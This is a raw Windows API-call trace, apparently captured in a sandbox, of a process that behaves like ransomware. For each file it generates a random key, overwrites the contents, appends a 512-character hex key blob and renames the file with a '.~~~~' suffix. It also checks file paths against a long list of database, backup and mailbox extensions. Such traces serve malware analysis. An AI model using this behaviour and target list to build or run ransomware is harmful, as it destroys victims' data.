	[0115.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.364] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.365] CloseHandle (hObject=0x148) returned 1
	[0115.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.365] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.~~~~")) returned 1
	[0115.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.366] GetLastError () returned 0x0
	[0115.366] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.368] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.368] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.368] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23535806074) returned 1
	[0115.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae4280d0, dwHighDateTime=0x1d60e1e)) 
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283aa30
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283aa30 | out: hHeap=0x300000) returned 1
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afe50
	[0115.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.369] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.369] GetLastError () returned 0x0
	[0115.369] GetLastError () returned 0x0
	[0115.369] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.369] GetLastError () returned 0x0
	[0115.369] GetLastError () returned 0x0
	[0115.382] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffe9b88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.383] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x16478, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x16478, lpOverlapped=0x0) returned 1
	[0115.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.385] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.385] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.385] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.386] CloseHandle (hObject=0x148) returned 1
	[0115.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.~~~~")) returned 1
	[0115.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.388] GetLastError () returned 0x0
	[0115.388] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.390] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.390] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.390] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23538062724) returned 1
	[0115.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae474390, dwHighDateTime=0x1d60e1e)) 
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283aaa0
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283aaa0 | out: hHeap=0x300000) returned 1
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afee8
	[0115.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.391] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.392] GetLastError () returned 0x0
	[0115.392] GetLastError () returned 0x0
	[0115.392] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.392] GetLastError () returned 0x0
	[0115.392] GetLastError () returned 0x0
	[0115.412] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffec04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.416] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x13fc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x13fc, lpOverlapped=0x0) returned 1
	[0115.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.417] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.417] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.418] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.418] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.418] CloseHandle (hObject=0x148) returned 1
	[0115.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.~~~~")) returned 1
	[0115.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.419] GetLastError () returned 0x0
	[0115.425] lstrlenW (lpString=".sqb") returned 4
	[0115.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".sqb") returned 0x0
	[0115.425] lstrlenW (lpString=".ost") returned 4
	[0115.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".ost") returned 0x0
	[0115.425] lstrlenW (lpString=".txt") returned 4
	[0115.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".txt") returned 0x0
	[0115.425] lstrlenW (lpString=".mdt") returned 4
	[0115.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".mdt") returned 0x0
	[0115.425] lstrlenW (lpString=".BDB") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".BDB") returned 0x0
	[0115.426] lstrlenW (lpString=".eql") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".eql") returned 0x0
	[0115.426] lstrlenW (lpString=".DBF") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DBF") returned 0x0
	[0115.426] lstrlenW (lpString=".EQL") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".EQL") returned 0x0
	[0115.426] lstrlenW (lpString=".FDB") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".FDB") returned 0x0
	[0115.426] lstrlenW (lpString=".EDB") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".EDB") returned 0x0
	[0115.426] lstrlenW (lpString=".DACPAC") returned 7
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DACPAC") returned 0x0
	[0115.426] lstrlenW (lpString=".VHD") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".VHD") returned 0x0
	[0115.426] lstrlenW (lpString=".DBV") returned 4
	[0115.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DBV") returned 0x0
	[0115.426] lstrlenW (lpString=".dacpac") returned 7
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dacpac") returned 0x0
	[0115.427] lstrlenW (lpString=".sdf") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".sdf") returned 0x0
	[0115.427] lstrlenW (lpString=".accdb") returned 6
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".accdb") returned 0x0
	[0115.427] lstrlenW (lpString=".DBX") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DBX") returned 0x0
	[0115.427] lstrlenW (lpString=".MDT") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".MDT") returned 0x0
	[0115.427] lstrlenW (lpString=".SQB") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".SQB") returned 0x0
	[0115.427] lstrlenW (lpString=".vhd") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".vhd") returned 0x0
	[0115.427] lstrlenW (lpString=".bac") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".bac") returned 0x0
	[0115.427] lstrlenW (lpString=".mdf") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".mdf") returned 0x0
	[0115.427] lstrlenW (lpString=".BAK") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".BAK") returned 0x0
	[0115.427] lstrlenW (lpString=".BAC") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".BAC") returned 0x0
	[0115.427] lstrlenW (lpString=".dbs") returned 4
	[0115.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dbs") returned 0x0
	[0115.427] lstrlenW (lpString=".vhdx") returned 5
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".vhdx") returned 0x0
	[0115.428] lstrlenW (lpString=".NDF") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".NDF") returned 0x0
	[0115.428] lstrlenW (lpString=".dat") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dat") returned 0x0
	[0115.428] lstrlenW (lpString=".DBS") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DBS") returned 0x0
	[0115.428] lstrlenW (lpString=".CKP") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".CKP") returned 0x0
	[0115.428] lstrlenW (lpString=".edb") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".edb") returned 0x0
	[0115.428] lstrlenW (lpString=".PST") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".PST") returned 0x0
	[0115.428] lstrlenW (lpString=".dbf") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dbf") returned 0x0
	[0115.428] lstrlenW (lpString=".SQL") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".SQL") returned 0x0
	[0115.428] lstrlenW (lpString=".pst") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".pst") returned 0x0
	[0115.428] lstrlenW (lpString=".dbv") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dbv") returned 0x0
	[0115.428] lstrlenW (lpString=".SDF") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".SDF") returned 0x0
	[0115.428] lstrlenW (lpString=".dtxs") returned 5
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dtxs") returned 0x0
	[0115.428] lstrlenW (lpString=".db3") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".db3") returned 0x0
	[0115.428] lstrlenW (lpString=".OST") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".OST") returned 0x0
	[0115.428] lstrlenW (lpString=".dbx") returned 4
	[0115.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dbx") returned 0x0
	[0115.429] lstrlenW (lpString=".DB3") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DB3") returned 0x0
	[0115.429] lstrlenW (lpString=".DAT") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DAT") returned 0x0
	[0115.429] lstrlenW (lpString=".VHDX") returned 5
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".VHDX") returned 0x0
	[0115.429] lstrlenW (lpString=".ndf") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".ndf") returned 0x0
	[0115.429] lstrlenW (lpString=".DB") returned 3
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DB") returned 0x0
	[0115.429] lstrlenW (lpString=".sql") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".sql") returned 0x0
	[0115.429] lstrlenW (lpString=".MYD") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".MYD") returned 0x0
	[0115.429] lstrlenW (lpString=".DBT") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DBT") returned 0x0
	[0115.429] lstrlenW (lpString=".ACCDB") returned 6
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".ACCDB") returned 0x0
	[0115.429] lstrlenW (lpString=".fdb") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".fdb") returned 0x0
	[0115.429] lstrlenW (lpString=".bak") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".bak") returned 0x0
	[0115.429] lstrlenW (lpString=".myd") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".myd") returned 0x0
	[0115.429] lstrlenW (lpString=".DTXS") returned 5
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".DTXS") returned 0x0
	[0115.429] lstrlenW (lpString=".ckp") returned 4
	[0115.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".ckp") returned 0x0
	[0115.430] lstrlenW (lpString=".dbt") returned 4
	[0115.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".dbt") returned 0x0
	[0115.430] lstrlenW (lpString=".db") returned 3
	[0115.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".db") returned 0x0
	[0115.430] lstrlenW (lpString=".TXT") returned 4
	[0115.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".TXT") returned 0x0
	[0115.430] lstrlenW (lpString=".MDF") returned 4
	[0115.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".MDF") returned 0x0
	[0115.430] lstrlenW (lpString=".bdb") returned 4
	[0115.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".bdb") returned 0x0
	[0115.430] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0115.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0115.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0115.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0115.430] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.432] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.432] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.432] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23542214669) returned 1
	[0115.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae4c0650, dwHighDateTime=0x1d60e1e)) 
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
